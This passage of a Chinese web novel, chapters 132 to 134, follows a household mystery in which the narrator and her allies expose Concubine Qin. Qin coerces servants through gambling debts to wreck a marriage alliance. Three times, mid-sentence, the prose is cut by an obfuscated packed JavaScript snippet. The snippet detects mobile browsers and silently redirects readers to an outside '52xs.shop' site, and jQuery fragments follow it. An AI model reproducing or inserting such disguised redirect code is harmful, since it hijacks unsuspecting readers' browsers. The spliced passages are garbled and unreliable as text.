那么,当日老四暴怒牵连刚好送花去的大刘,以致老实人被逼疯,进而犯下劫持罪行,也是翠红引诱的了?因果倒置,实际源头都是翠红的撺掇? 肖排场、马小旦、翠红,一个一个的,竟都和东来赌坊有关。 肖排场被绑走,死在深山。马小旦袭击了我,事后被祖母处理,没有交代出一个字,就死了。而翠红,分明是故意死在小白面前的。 他们都宁愿死,也要替幕后黑手卖命,为什么? 谢宁轩回答了我:“因为他们都被人胁迫了,以他们的软肋,威逼着他们。” “什么意思?” “我查到,马小旦有个幼女,在他进入你们王家做活之前,就失踪了。而翠红,则有个弟弟,是个赌鬼。此人常在金华各家赌坊出入,但近半年,却只来东来赌坊玩,欠下了巨额赌债,赌坊已经下令,再不还钱,就要剁掉一只手了。” 原来如此。 肖排场是橙橙的软肋,马小旦则有个幼女,而翠红被弟弟牵绊着。三个出入赌坊的赌鬼,被幕后黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14294726|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手利用,简直水到渠成。 小白又提出一问:“可翠红为什么要告诉我这关键两个字?在我面前自杀,有什么用意吗?” 是啊,翠红临死前说的“东来”二字,再次将视线聚焦到赌坊,将几起看似孤立的案件串在一起。 这是为何,幕后黑手企图嫁祸赌坊?可就目前来看,他与赌坊,有着千丝万缕的关系呀。 这个时候,我已经能确定,翠红惹怒老四被逐,应该也是幕后黑手的授意。留下的线头太多,翠红很容易被人查出。若死在王宅,恐惹来注目。 所以幕后黑手让翠红想办法激怒老四,名正言顺离开了王宅。 或许在走的那一刻,翠红还以为自己能全身而退。可幕后黑手根本没打算放过她。 她还是死了,为保弟弟而死。 那么,她躲在莱凤阁,代表着幕后黑手想传递什么?她每天趴在栏杆处等待的,到底是谁?过去了这么多天,偏偏在小白找去的时候自杀,这也是幕后黑手的命令吗? 她可以出房门,说明自由并没有被完全限制。事实上,幕后黑手也不需要完全限制她,因为利剑已然悬在她的头顶,那就是弟弟的命。 但她临终对着小白说出“东来”二字,这应该不符合幕后黑手的利益。 为什么?为什么故意死在小白面前,又要告知重要线索? 难道——我生出个念头——这是翠红在生命的最后,弱弱的、不甘的、怀着恨意的反抗? 我思索着,那厢,小白又问:“凌兄,三妹妹,你们怀疑来怀疑去,都说幕后黑手是同一个,害你又害你四妹,这也有些奇怪吧。你上京落水都是大半年前的事儿了,这段时间金华可太太平平的。如果说幕后黑手是看你回来,又按耐不住动了手,为什么老四被劫持,却发生在你进门前?” 我回答不上来,头疼欲裂。 谢宁轩拍拍我的手,柔声道:“羽书,别气馁,咱们再想想,或许哪里还有疏漏。哦对,白兄,你不是说你那里还有个好消息吗?” “什么?”我挣扎着,再打起精神。 “是关于东来赌坊的啦。我派人蹲守了好久,总算摸清了东家身份,发觉他和我们白家还有过交情。” “哦,东家与白家,或者我们王家有仇吗?” “不不,这事和东家无关。我认出他后,不就直接去问了吗?好在之前有些往来,终于让我问出条隐秘的线索。”小白得意挑眉。 “一年半前,东来赌坊迎来了一个奇怪的客人,是个女子。黑纱覆面,头戴斗笠。她独自一人到赌坊说要设局,赢得钱财和赌坊二八分。东家一看她气势凌厉、赌术颇高,让利又这么大,便答应她的要求,刻意从同行处引来几个客人,那便是……” “马小旦、肖排场与翠红弟弟?” “对。但是东家明确说了,怎么赌,除了银钱外是否有别的赌注,按道上规矩,他们一概不问。只知道这女子颇有本事,每次匆匆来匆匆走,却逢赌必赢,赌坊因她收到的分成极高。所以她让引谁来赌,赌坊就去引诱谁来。当然,欠了银子不给她还,那也就等于不给赌坊还,他们自然会替她收拾。”小白语速飞快的补充道。 “收拾,这收拾的,便是肖排场。”谢宁轩接过话头,点出重点。 我亦听明白了:“嗯,怪不得肖排场被赌坊捆了扔进山里。” “是,赌坊得了那女子的授意,在她知会的时间里绑走了肖排场。欠债很高,又没人来替他还,所以他就被活生生饿死了。不止如此,马小旦的女儿,也是赌场绑走的。” “连幼女也不放过!他妈的,混蛋!” 谢宁轩立即按住我的拳头,温声道:“放心,白兄知会我之后,我便派人跟踪,已经救出那幼女了。” 我松了口气,但还是气息不稳,眉头紧皱:“赌坊就这样轻易害人性命,官府不管的吗?” 小白嗤笑:“三妹妹,你这说辞可忒天真了,那些都是签了生死状的赌鬼,卖妻鬻子还是什么罕事吗?告到官府,打掉一个,也总消灭不了全部呦。” 这话说的悲凉,谢宁轩也无奈叹息。 我只能吞下喉间浓郁的不适,又问:“这么说,是这女子借一流赌术操纵那些人,对王宅,还有白府不利了?” 132.黄雀在后 小白脸黑了下来,用拳狠狠砸向桌子。 谢宁轩沉声道:“我顺着她所有的手下败将追查,发现还有三个人,也是王宅丫鬟小厮的亲人。此外,还有两个,与白府有关,其中就有阿兰。” “凌兄提示我,我还想着都是祖母身边多年伺候的人,即便一时疏忽,也不会是故意。”小白咬着后槽牙,眼睛都红了,“直到凌兄查到,阿兰的爹,竟然也是赌鬼,竟然也去东来赌坊!” 一种后怕油然而生,我的声音颤抖着:“买通的都是近身侍奉的丫鬟,信任感极高,谁又能想到,这些人也会背叛?可她就是从软肋下手,害了一个又一个。” 小白恨恨:“我一定要抓住这个女人!” 谢宁轩捏捏眉心:“这女子从哪里来的?我派人蹲守了几日,还没有见她出入过。赌坊东家知道她的底细吗?” 小白惆怅曰:“他们□□还颇有规矩,这种人,不可深究。所以东家也不知道。” 谢宁轩微挑了眉,试探着问:“白兄,你二叔……嗯,此女子会与他有关吗?” 小白低垂下眼睫,沉默了半晌,方道:“二叔那厢,情况有些复杂。凌兄,三妹妹,这部分还请允许我自己调查,不过他一定不是幕后黑手。这神秘的女子,我敢保证,绝不是我白府的人。” 不似寻常查案时的追根究底,谢宁轩没质疑,而是点点头,就转向了其他方向。 我有些诧异,莫名觉得他二人之间,好像弥漫着一种惺惺相惜的意味。明明几日前还针锋相对呢。男人之间的友谊,真够奇怪的。 跑神间,谢宁轩已经在问:“同时针对你们两家,或许本就是你们两家的敌人?在金华,有什么人和你们是敌对方吗?生意方面的竞争对手?还是得罪过什么人?” “没有吧,我没觉得有这种人。”小白沉吟着。 “这样高超的赌术,绝非短时间能练就,恐怕是从小习得。”我想了想,“这似乎有些玄乎啊,王白两家,还有这种人物?” 小白闻言眯了眯眼,忽然坐直身子:“咦,你这么说,倒让我想起一段往事。大概二十多年前吧,金华府曾有一户姓陶的人家,开设赌坊、钱庄,盛名一时。听说那家主的赌术出神入化,他们家也很有意思,不教儿女念书识字,只传授赌术。后来犯了事,家底都被抄没了。你们说,难道这女子,是陶家后人?” 啊?这也太离奇了吧? “难道陶家的败落与王家、白家有所关联?否则也不至于二十年后来报仇呀?” 小白耸耸肩:“那倒没听说过,你我两家又不混□□,与他家走的路数不同,不太可能有交集。哎,也可能是我想多了,或许毫无关系。反正这女子还是个谜,目前没追到任何线索。” “阿兰的爹,翠红弟弟,不都和这女子赌过吗?能不能提供些线索?” 谢宁轩森森道:“此女甚是狡猾。我把和她赌过的人都抓来问了,根本没用。都说她以黑纱裹面,冬夏都穿一件披风,遮挡的严严实实,中途更是一言不发。他们根本辨不出身份。” 我亦泄气的坐下,感到前所未有的迷茫。 赌坊果然不是幕后黑手,是这个神秘女子,暗中操纵一切。 可随着翠红死在小白面前、赌棍都被带走询问的消息传出,她定会越发谨慎。若短时间她不再踏足赌坊,我们就算蹲守,也不过白费心机。 而相关人员,死的死、失踪的失踪,活着的人也提供不出什么,就连赌坊东家所知都不多,我们又该怎么入手? 肖排场、马小旦、翠红、阿兰……还有谁,还有谁可能会是突破口? 我一个一个数着,后知后觉的意识到,暗哨竟多达八人。 这女子安排了这么多人,可针对原主的行动直到年初上京才开始。这说明什么?难道王宅、白家,还发生了什么,是我们没有掌握的? 一年半前她就开始布局了,难道所图,远超原主性命这一点? 我将疑问抛出,小白眼眸闪烁了一下。 还有,这里面,其实有个例外,就是马小旦。其他暗哨,都是白王两家有关下人的亲人。翠红也好、阿兰也罢,女子布下她们这颗棋子,寻机使用,这是符合逻辑的。 但马小旦就不符了呀,在进王宅修缮翠阁之前,与白王两家毫无关系。老四在众多匠人中随便买通了一个,偏巧此人就是女子暗哨? 等等,随便买通一个? 不,不对。我怎么把翠红忘记了,是她给老四建议放蛇吓我的呀。据此,老四才想出找个人偷小衣。 所以……天哪,那马小旦的出现,根本不是黄雀在后!所以他的女儿失踪的日期,远在老四雇他之前。 换句话说,马小旦是幕后黑手早就布好的一颗棋子,即便老四没有提到派人潜入,翠红也会诱她。所以,无论老四怎么安排,马小旦是一定会来袭击我的。 呵,想必老四大费周折、要求一大堆的添彩绘、建阁楼,也全是翠红挑唆的,就是为了让马小旦有正当理由进入王宅。 而引起这些的,则是大刘的劫持。冤枉他、驱赶他、辱骂他,也都是计划好的。 一环扣一环,真是心机深沉。 小白一听就问:“那也不对啊,幕后黑手怎么知道你二姐和表妹调离丫鬟的计划?那些只是设计人心的小计,充满了变数,完全不可控啊。” 我心里已有了计较,解答曰:“她不需要知道。你忘了吗?你家可有个阿兰啊。那日,棠阁没有外围丫鬟,马小旦潜入院中还是相对容易的。蛇的出现会令我和丫鬟吓得东躲西藏,本身我就在洗澡呀,穿的少。马小旦只要伺机闯入屋中大喊大叫,我的名声就会受损。” 谢宁轩接过话头,阴沉的说:“事情只要真的发生,阿兰在贵府大肆宣扬后,无论羽书的祖母怎么捂住消息,令堂总能找到一两个听说消息的王家下人。那么,羽书、王家的名声,就会受损。只是幕后黑手也没料到情势变化,更没想到,马小旦那么沉不住气,早早进了屋子。” 也就是说,二姐与表妹的计策有或无,根本无关紧要。她要的只是我被袭击,事后再留个口子指出老四谋划,我们姐妹就都会失去联姻资格。 小白听懂了,咬牙切齿地问:“可这么做是图什么?有意破坏白王联姻?就算拆开咱们两家,谁又能得益?还有我祖母,我祖母都已经弥留,本就没有多少日子!何必多此一举害她?” 是啊,问的也对。 白王两家就算不联姻,这么多年相扶持,关系、信任还是摆在那儿的。 再说,对两家下手,怎么也该冲着原主三叔、小白或者白二叔去,才算重磅出击呀。原主、老四、白老夫人,这些女眷的死活,对两家生意、地位,又能有多少影响? 迷惑丛生,我只觉得眼前已有光亮,可偏偏有一层纱遮挡,令我无法触到。 是什么?这桩桩件件看似孤立的事,到头来竟然都有关系,竟然都来源于同一个人。 她苦心孤诣地用赌术驾驭着、胁迫着,让这些人哪怕付出生命也要服从她,可针对的,却只是两个闺阁少女和一位已经在生死边缘的老夫人,这到底是为什么? 如果不是竞争对手,还有谁,在谋求着我们两家共同的利益? “其实这里还有一个问题,我想不通。”谢宁轩看看我,又看看小白,目光中透着审视,“羽书自不必说,内宅闺阁少女,白老夫人也年事已高,甚少出门。按理说,她们的贴身丫鬟,也不会人人都认识,知道家眷亲戚啊。这个神秘女子,怎么就能获悉这些隐秘的事,加以利用呢?” 我闷闷道:“不止如此。她下指令,这些人接受命令,又是通过什么?都是内宅中的丫鬟小厮,受人管理,怎么就能恰好传递消息呢?” 王宅、白府,都在金华屹立多年,府中人员冗杂,尾大不掉,是难免的。但管理起来,也素有章法,不可能由得她们自由出入。 想到此处,没来由的,我又忆起初到金华,就曾在红觉寺外见到白家的车队,浩浩荡荡,占去了半条街道。 “说起来,当日在红觉寺,我还巧合的听到你议论这桩婚事呢。” 小白眼睫颤了一下,诧异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304467|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“啊?你们那日也投宿红觉寺?嘿,我说早起马圈都破了,我的马缰绳断了,差点跑掉。合着那群粗鲁的客人,是你们呀?” 我和谢宁轩同时想起了那头疯驴,无奈的笑了笑。 “你不是不信佛吗?我祖母对你唯一丢丢不满意的,就是说你拜佛太少。” 小白伸个懒腰,没当回事。 “你怎么去红觉寺下榻了?我记得当日在寺外,我们还碰见了你家车队离去呢!” 垂柳提过,她当日拿着肉饼出寺门偷吃,听到白家下人议论,说车里坐的是白家的二夫人,即白二叔最心爱的小妾。 那时我也就是顺耳听听,完全没放在心上。 不过此时嘛,我斜睨向小白,升起暗戳戳的八卦心:“你个不信佛的,这么巧也在,啧啧,你丫不会是和人家……” 小白眼珠子一瞪:“瞎暗示什么呢!三妹妹,龌龊了啊!凌兄,你好好管管她!这什么表情!” 谢宁轩莞尔一笑,梨涡若隐若现。他朝我侧侧头:“羽书一向喜欢听乱七八糟的说书摊,不都是你们金华说书先生没的规矩吗?我可管不了。” “哪个说书先生乱讲!我掀了他的摊子去!” 好家伙,我那可都是顺嘴瞎说,现在人在金华,可不敢当真呀! 吓得我打了个哆嗦,赶紧将话题掰回来:“好了好了,不扯这些了。你们这几天,还有什么发现吗?” 谢宁轩误解了,瞟一眼半开着的窗户,还以为我嫌冷,贴心的将榻上一件披风递给我。这温暖的举动落在小白眼中,竟然扑哧一笑。 我和谢宁轩都没理他,以为这厮不过是单身狗嫉妒有情人。 谁知,小白笑的点也不是这个。他指着披风背后:“这么大个脚印,梨梨她们也不知道帮你洗洗?是小五还是小六留下的?” 谢宁轩无语凝噎,忙搁下,又去取梳妆台旁的软枕。 我盯着那黑脚印,回想着这个披风的价格,也气的没话说。然而,也就在这时,乍然间,耳边响起了稚童哭唧唧的声音,小六花猫般的小脸忽然映入我的脑海。 叽叽喳喳,她俩有心无心说过的每一句八卦,聊过的每一个家常,陡然间变了味。 彷佛有人打着强光手电朝我射来,我一把抓开眼前那层纱布。 一个所有对话中都出现,却从不起眼的人,虽有着天罗地网的消息,却从来没有出现在任何台面上…… 一个看似获取不了任何利益的人,却能够将这些攒成团,踩着别人的血上位…… 我骇然的意识到,我猜到了她的身份,但同时心猛地下沉,因为,我没有证据。 这些已经死了的人,我该怎么从他们口中获取真相?翠红、马小旦、阿兰、橙橙…… 橙橙? 恰在此时,谢宁轩立在梳妆台边,忽然对着我摆放齐整的梳子叹了一声。 他回眸带着恍然,定定的说了句:“肖排场。” 小白纳闷:“肖排场?咋了?” 我却像被打了一拳,耳旁,更有记忆中,一个奇怪的短促声在回响。 我打了个激灵,赫然想通了一件事,自我回到金华,就一直困扰着我的一件事——橙橙,她还没死! 一个孤儿,在背叛了家乡的主家后,还能躲在哪儿? 我盯着谢宁轩,他也深深的看着我。四道视线的交杂,我们都在惊叹着。 不够,这还不够。 幕后黑手明明操纵着一切,为什么她每次出入,都没有被注意到? 小白眼神飘来飘来,迟疑地问:“你、你们俩寻思啥呢?咋、咋突然不说话了?” “小白!快把我祖母的调查日志拿出来!”我对着小白严肃的说。 小白都方了,但见我二人神色肃穆,也不敢耽搁,立即从怀中掏出。我接过来就是一阵翻,直到找到一页,曾被我大概浏览后就翻过去的一页。 此刻,真相就明晃晃映射在我眼前。 但揭露之前,我们还得去两个地方,两个希望能找到证据,锁死幕后黑手的地方。 133.解谜1 我回到王宅大半个月了,从未踏足过小五小六的怡然阁。 这天我到的时候,小五小六正在厢房念书。 与其说是她俩念书,不如说是先生念书。毕竟二人坐的东倒西歪,一个盯着天花板咬手指,一个低头偷偷嗑瓜子,半点学习的认真劲儿也无。 我的脚步声很轻,但两对不甘寂寞的耳朵还是第一时间捕捉到了,推开书桌就跳跃出来,惊喜的围上来。 “三姐!你怎么来啦!” “三姐!你要带我们出去玩吗?” 我蹲下身拉过小五小六的手,柔声道:“姐姐有事要和秦姨娘说,垂柳姐姐带你们先出去玩,好吗?” 小五歪了歪头:“和小娘说什么?” 小六不安的挪了挪步子:“三姐,是不是出什么事了?” “没什么,”随后进来的小白一把揽过小五小六,掏出两个糖人,“我买了好多吃食,就在棠阁里,铺了满满一桌子,你们不去吃吗?” 小五一把抓过糖人放进嘴里,喜笑颜开:“太好了泉哥哥!有我爱吃的俏花生吗?” 小白抱起小五:“有,还有糖葫芦,糖炒栗子,玫瑰桃酥,红枣梨汤……” 话还没说完,小五扭着身子跳下来,蹦蹦跳跳朝院子外面跑:“太好了!星儿!快来呀!” 小六却没有动。她一反常态,大大的眼睛里布满了担忧,伸出手抓住我的衣袖,低低问:“三姐,是不是发生了什么事?” 比起小五的天真与不谙世事,小六更成熟点,也多了些谨慎和通晓。平时说话间,小五从不顾忌,小六却时常出言提示。 我之所以能发现秦姨娘有问题,也是多亏了小六的一句话——“衣服丢了没”。 那是我遇袭后她们俩来看我,小五没觉得多大点事,问一两句就顾着玩了。小六倒是哭哭啼啼,口齿不清的关心,还莫名冒出一句“衣服丢了没”。 我当时只顾擦她花猫一样的小脸,并未深思这奇怪的一问。也没有意识到,她口中的“衣服”,并不是寻常衣物。她实际想问的,是在老四计划中,我那应该被偷走的小衣。 当日事毕,祖母当机立断处死马小旦,我和小白还没头脑风暴出老四、二姐、表妹的谋划。那么,小六又怎么可能知道,马小旦一开始,是想偷我的小衣呢? 当日不觉察,是随着事件走向渐渐清晰,我才意识到,幕后黑手对王家上下极为通晓洞悉。橙橙和肖排场的情缘、翠红有个赌鬼弟弟,这些,都不是寻常交往能获悉的。 当然,白家那边,也是一样的问题。 站在白王两家共同的敌人角度,我始终想不明白。 可如果只落脚在王宅呢?谁能知晓每一房的秘事?王宅有这样神通广大的人吗? 有,还真有。 小五小六的脸映在我脑海中。 这两个小鬼还处在什么都不懂的年纪,可她们探听消息的本事却无人能及。言谈之间,也常常将“小娘”挂在嘴边,说明二人还非常依赖娘亲,每每将探听到的消息全盘告知,屡被娘亲制止或批评。 但其实娘亲,不也知道全家的隐秘吗? 在王宅,秦姨娘很不起眼。除了陪好三叔,就是织衣缝衫,甚至两个女儿的功课,都由嫡母安排。作为妾室,她本本分分,也没有什么出格的举动,在祖母压阵、三婶管家的构架中,她甚至不能算是主子。 可她却是这个家里,最清楚各门各户秘密的人了。因为她有全家最厉害的两个眼线。 老四与翠红谈及针对我的布局,不仅让二姐听见,还让表妹也听到,足以说明,二人谋划时,根本没有隐藏避人的想法。那么,小五小六是否也听到了?随即告诉了小娘,并被后者利用? 不。 这个局一开始,就是翠红引诱的。偷衣服只是掩盖,马小旦的袭击才是最终目的。那么,小五小六听到的,真的是老四的壁角吗?有没有可能,是翠红接收命令时的壁角呢? “衣服丢了没”正是小六在隐隐不安着啊。 念及此处,我更是意识到,壁角的确可以发现很多线索,正如过去,我那么多次探听到的消息。 可壁角,也可以人为设计啊。 深知女儿秉性的秦姨娘,安排翠红故意在二人偷听的时候,演绎出一副责骂警告的景象。二人不明所以,果然和盘汇报给小娘。后者再借此名正言顺告知三婶,借她的手除掉了大刘。 小白一惊:“大刘?劫持老四的那个大刘?” 劫持,为什么会发展到劫持这一步?当日若不是谢宁轩着意周旋、邓科武艺过人,老四或许就真的危险了。 别忘了,在偷窥之前,大刘一直是老四外围的下人,大家都说他头脑简单,却指哪打哪非常忠心。那么,对于需要除掉老四的人来说,大刘,就是一个明晃晃的阻碍。 再回头看大刘被警告、事发乃至之后被激怒、劫持这一系列行为,大刘也在一步步作死,直到真的身死,且背上了无法推卸的锅。 所有人倒推追溯,也会真的认为,他不仅劫持主子,也干了偷窥主子更衣的腌臜事。 可他真的干了吗? 小五小六不会撒谎,她们也没有诬陷大刘的理由。 也即,所谓壁角,她们听了壁角,这是真的。可内容呢?所谓翠红的警告,根本就是精心设计的,是假的! 秦姨娘,这是利用了自己的女儿啊。 这一切,小五完全没有感知,她还单纯着、无邪着。可小六却已有大家小姐的敏锐。所以才会说出那句莫名其妙的话,更在我踏进怡然阁的时候,露出些许不安。 即便如此,小六恐怕也想不到,在这个局中,她二人扮演着什么至关重要的角色。我突然庆幸,没有逮住机会询问她俩关于橙橙的事,没有打草惊蛇。 当然,我相信,在秦姨娘叮嘱下、在小六懵懂的感知下,恐怕我也得不到真实讯息。 秦姨娘不知什么时候出了屋子,她穿着月牙白色的裙子,金线滚边的花黄坎肩,衬的肤色娇嫩。 她笑容和煦,声音柔软又娇弱:“星儿,去和月儿玩吧。在棠阁要乖,不许上蹿下跳,听见没?” 小五早一溜烟跑了,小六担心的望望娘亲,又看看我,犹豫片刻,才拿了糖人,慢慢出了院子。 小白盯着小六的背影,自言自语:“小六好像长大了?” “进来吧。”秦姨娘掀开帘子,朝我们示意。 屋子里炭火不太旺,秦姨娘坐回到桌边,拿起绣布,翘着兰花指穿针。 小白看了我一眼,示意我先开口,我望着沉静淡定的秦姨娘,一时竟有些语塞。 “喝点茶吗?”秦姨娘曼声问。 小白丢给我个“你真没用”的眼神,打直球道:“秦姨娘,三妹妹遇袭,是你设计的吧?” 秦姨娘眼皮不抬:“这茶是今年新采摘的顶级龙井,供量极少,全家上下只有老太太和棠阁有。我这点还是夫君讨来的,你不尝尝?” 小白看了眼我,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314656|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些莫名其妙。 “哦对,”秦姨娘放下茶杯,轻轻笑出了声,“我忘了,你在书儿那儿没少喝吧?咦,今天就你们俩过来吗?我以为那个殷勤的翰林院博士,也得寸步不离书儿呢。” 谢宁轩是听了我的劝阻,才没跟着一起来。 毕竟这是王宅内宅,我还没想好事后该怎么处理,他作为外男贸然进入,或许不太好。 小白嗤之以鼻,说就该轮番上去指着秦姨娘鼻子骂。他怕自己发挥不好,还特意学了几句坊间低俗的骂街话。 谢宁轩却明白我心中的矛盾,他握住我的手,只叮嘱了几句安危,就出门组织队伍,将王宅团团守住,以防秦姨娘还有后手,逃之夭夭。 小白放松了身体,坐到窗边的椅子上。“我们白家这种茶还是不缺的。秦姨娘要是喜欢,早说嘛,我给小五小六送一些来。你也就不用因为妒忌,暗害三妹妹了吧?” 秦姨娘抬起头,“噗嗤”一笑,毫不掩盖嘲讽之意。 “白大少爷果然家大业大、见多识广。不过白老夫人刚逝世,二房就要分走运河的产业,你那几间铺子,还能支撑你金华第一公子的名头吗?” 小白微微握拳,面上却仍是春风。“呦,我什么时候有这个名头了?三妹妹,你看,没嫁给我,可惜吧?” 白家二房要什么产业,秦姨娘竟也如此清楚。 我深吸口气:“秦姨娘,我以为,以我和小五小六的关系,咱们永无对质这一日。” 秦姨娘穿针引线的手非常稳,不见一丝抖动。 “小五小六爱听壁角,被你知道了橙橙与肖排场的情事,你便利用她的深情,迫她在我上京后害我。对吗?” 秦姨娘微微侧头,雪白的颈部从衣服中露出。她放下绣布,伸手挽了挽发髻,一举一动别有一番风流。 小白声色俱厉:“三妹妹上京去了,你又惦记起对付四小姐。你已经用赌术控制了王家几个下人,这第一步,就是设计赶走忠心耿耿的大刘。可我一直没有答应婚事,所以你迟迟没有动手,但大刘始终是个隐患,还是得除掉。是不是?” 秦姨娘将绣布拿起来看了看,复又穿针引线,浑不在意。 小白拧眉,有些不耐烦。 “大刘没能杀掉老四,没关系,翠红还可借倒霉事是风水不好的理由,引诱四妹重修翠阁。你安排好的匠人马小旦,就可登堂入室了。他这颗棋子,你也准备了许久吧?此时拿出来,一开始,是为我还是为老四准备的?”我凛声问。 秦姨娘但笑不语,只一心一意在绣布上。 小白端起茶杯,嗤笑道:“这还用问吗?我不愿娶四小姐,她瞧得多清楚啊。你一回来,老太太更是马上更改了‘冲喜’人选,所以这马小旦,自然就冲着你去了呗。” “刚刚好输掉的女儿,不得不成为你的行尸走肉,冒着生命危险来袭击我,毁我名声。同时,还让翠红引诱四妹想出那糟烂的主意,以便过后揭穿四妹。终其目的,就是让我和四妹都丧失嫁入白府的资格。” 我顿一顿,努力压住起伏的心绪,“不仅如此,白老夫人已经油尽灯枯,可你还是让人下手,就是为了让‘冲喜’都来不及办。” “为什么?你也是王家的一份子,为什么要破坏两家联姻,对你有什么好处?”小白皱眉问道。 秦姨娘将线拉出一个弧度,完美的收了口。她将绣布拿起来,带着浅浅的笑容,问道:“好看吗?” 雪白绣布上,绣着一个月亮和一个星星。 134.解谜2 我清楚她的用心,为了小五小六,竟能做到这个份上。 “破坏我现在的婚约,让白王联姻被迫因为白事等待三年。人为干涉后,王家适龄的姑娘就只剩你的女儿了。真是好打算,我猜,目标不仅是我,还有我二弟吧?” 小白说罢,慵懒笑笑,唯有眼中,是冰冷的恨意。 谢宁轩之前就查清了,白家的另一个暗哨,就是二叔身边的小妾,那位常去红觉寺拜佛的二夫人。这就和小沙弥提及,白家夫人也喜欢在甲三静心堂跪经,能对的上了。 而当日小白会出现在红觉寺,自也不是巧合。他正是觉察这位小妾似乎有些猫腻,跟踪而至。 只是那时,小白也没有料到,此事根系之深,远不是表面的状态。 “你让她日日吹耳旁风,鼓吹二叔分家,夺走白家最有实力的产业,令白家一分为二。在金华这地界,我和二叔都将无法割舍王家的助力。所以三年后,即便我母亲不喜庶女,仍会安排我迎娶王家小姐。二叔为了防止我高进,刚刚好弱冠的二弟,就将迎娶另一个女儿。你算的可真好啊!小五小六都能嫁入白府,真是用心良苦!” 秦姨娘看向小白,浅笑着问:“你不是很喜欢月儿和星儿吗?” 小白冷哼一声:“太调皮了,当妹妹行,当娘子可不行。” 秦姨娘笑容僵了僵,朝我投来目光,她轻声道:“听见了吗?当娘子可不行。” 我不明所以。 秦姨娘直勾勾望着我,声音悦耳,话语却冰凉:“我知道,月儿和星儿最喜欢三姐姐了。因为三姐姐整天带她们爬树下河、钻墙挖洞。我才说道几句,她们两个就拿三姐姐说事,三姐姐如何调皮,赶走了一个又一个的教书先生,祖母仍宠爱的心头肉一般;三姐姐如何捣蛋,把教引嬷嬷和所谓的‘规矩’推翻,也能嫁给泉哥哥。可她们不一样啊,她们是庶女,她们和三姐姐,怎么比?” 说话间,秦姨娘向我盈盈走来。小白微微侧身,挡在我身前。可秦姨娘好似看不见他,仍朝我逼近着,话音越来越低,语气越来越冰凉。 “这位三小姐,王宅上下宠的像宝。老太太一天不见就念叨,月儿和星儿就是跟屁虫。可怜那高傲的四小姐,一朝被人夺走全部宠爱,却不知道该怎么算账,就知道生闷气,脾气一天比一天坏。白家已经是金华最好的人家了,这位三小姐还不知足,还要去京城攀更高的枝儿。那就走吧,走了才清净!” 秦姨娘一扬手,声音陡变,“等等,清净了吗?不,还有一位!还有一位骄傲的花孔雀,天天挺着胸膛像开屏一样!白少爷却看不上她。我等啊等啊,等着看她嫁入白家,却等不到。既然如此,不如我替白少爷帮个忙,心有旁骛的三小姐,看不起人的四小姐,都别娶了,好不好?” 秦姨娘已经贴在小白面前了,五官有些许的狰狞,眼睛瞪得浑圆,血丝隐隐可见。一股森森凉意弥漫着。 不过一瞬功夫,秦姨娘转身,快步走到桌边坐下,复又展开一个温柔绝美的笑容,仿佛刚才只是一场错觉。 “好了,茶也喝过了,你们俩还有事吗?请便吧。” 小白眉毛都打结了:“你这是什么意思?” 秦姨娘眨眨眼,笑得天真:“你们不是在讲故事吗?我不也讲了一个吗?” 小白哈哈一笑:“故事?呦,那这算什么?我这儿还有一个更精彩的呢!三妹妹,陶家还记得吗?赌术世家!可惜被抄家了,不满十五岁的女眷都卖去窑子了。哎,大户人家的女儿哪受过那份气呀,没几年就折磨死了好几个。销声匿迹二十多年,真是没想到啊,今日,我还能见到了这门赌术的传人。” 秦姨娘表情没有丝毫变化,似乎我们谈的只是今晚的菜色。 我知道,她有恃无恐,因为在她看来,我们根本没有证据。 小白呵呵一笑,拍了拍手。外间有个人推门而入,终于让秦姨娘的脸色有了变化。 来人进屋就跪下了,但眼睛却是通红的,透着浓郁的恨意,死死盯着秦姨娘。 她不是别人,正是失踪已久的橙橙。 秦姨娘再也挤不出温柔的笑,她握了握拳,低声问:“你们怎么找到她的?她躲在哪里?” 小白也没给橙橙好脸,喝了句:“行了,自己说罢!怎么逃回来的?你还挺本事,竟能在王家紧锣密鼓的调查下混进金华不被发现。” 橙橙飞快地看了我一眼,愧疚地低下了头。 其实,避开王宅的搜查,也并非难事,只需要有人协助即可——老建头。 这还是谢宁轩最先想通的,就在我们头脑风暴的那一日。他盯着梳妆台上橙橙的梳子,就着刚被小白挑起的关于红觉寺的记忆,倏地就意识到端倪。 老建头,在我们去送驴的时候,不愿给我们开门,开门后,还先去柴房喂猫,记得吗? 猫不止一次的撞门,发出了响动。 当日在门外,垂柳就吐槽,房屋之破败,难怪抱着头驴哭。但老建头喂猫的,可是馒头啊! 